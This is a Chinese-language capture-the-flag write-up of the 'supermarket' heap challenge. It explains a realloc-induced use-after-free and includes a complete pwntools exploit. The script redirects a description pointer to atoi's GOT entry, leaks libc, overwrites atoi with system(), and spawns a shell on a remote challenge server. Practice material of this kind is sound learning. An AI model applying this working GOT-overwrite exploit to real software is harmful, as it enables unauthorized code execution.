攻防世界-supermarket

前言

攻防世界的一道堆题,考察realloc不当导致的uaf~

前置知识

realloc函数

1)如果当前内存段后面有需要的内存空间,则直接扩展这段内存空间,realloc()将返回原指针。
2)如果当前内存段后面的空闲字节不够,那么就从bins中分配一个满足需求的内存块,将目前的数据复制到新的位置,并将原来的数据块释放掉,返回新的内存块位置。
3)如果申请失败,将返回NULL,此时,原来的指针仍然有效。

题目信息

  • 菜单题,32位,没PIE没canary,栈不可执行
  • 存在一个长度为0x10的(&s2)数组,是一个结构体指针数组
  • chg_des()存在realloc函数,并且没有给返回指针赋值
  • 结构体的详细内容会用到,见下图:

注意:这里的(&s2)[i]这种写法,是一个结构体指针数组,暂时不确定是否这种写法都是结构体。

利用思路

  • 创建两个node,第0个大小大于fastbin(0x80),第1个随意
  • realloc()第0个node的des,使其free掉,然后申请第2个node,此时node0->des_ptr = node2
  • 修改node0->des_ptr,即修改node2,uaf成立
  • 通过uaf使得des_ptr指向atoi_got地址
  • 使用list功能泄露atoi()加载地址,使用LibcSearcher求出system()真实地址
  • 使用chg_des功能修改atoi_got地址的内容为system()真实地址,发送/bin/sh触发漏洞

注意:首先,因为realloc()的特点,需要一个node做间隔来防止合并;其次第一个块大小要大于0x80,具体为什么忘记了,之后再看看书= =

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
from LibcSearcher import *
#context.update(arch='i386', log_level='debug')

io = process('./supermarket')
io = remote('220.249.52.133', 42645)
elf = ELF('./supermarket')
atoi_got = elf.got['atoi']

def add(name, size, des):
io.sendlineafter('your choice>>', '1')
io.sendlineafter('name:', str(name))
io.sendlineafter('price:', '10')
io.sendlineafter('crip_size:', str(size))
io.sendlineafter('cription', des)


def show():
io.sendlineafter('your choice>>', '3')


def chg_des(name, size, des):
io.sendlineafter('your choice>>', '5')
io.sendlineafter('name:', str(name))
io.sendlineafter('crip_size:', str(size))
io.sendlineafter('cription', des)


add(0, 0x80, 'a'*0x10)
add(1, 0x20, 'b'*0x10)
chg_des(0, 0x90, '')
add(2, 0x20, 'c'*0x10)
payload = b'2'.ljust(16, b'\x00')+p32(20)+p32(0x20)+p32(atoi_got)
chg_des(0, 0x80, payload)
show()
io.recvuntil('2: price.20, des.')
atoi_addr = u32(io.recvuntil('\n', True).ljust(4, b'\x00')) # not necessary
#print(atoi_addr)

libc = LibcSearcher('atoi', atoi_addr)
libc_base = atoi_addr - libc.dump('atoi')
system_addr = libc_base + libc.dump('system')

chg_des(2, 0x20, p32(system_addr))
io.sendlineafter('>>', '/bin/sh')
io.interactive()

注意:这里本地调试有问题,直接远程调。

总结

这题考察的是realloc()导致的uaf,以及如何利用uaf来getshell,atoi()函数需要特别注意,不是第一次遇见改它的got表了。

下次碰到(&s2)[i]、(%s2)[i] + j,可以想想是不是结构体。

多刷题,多总结!

0%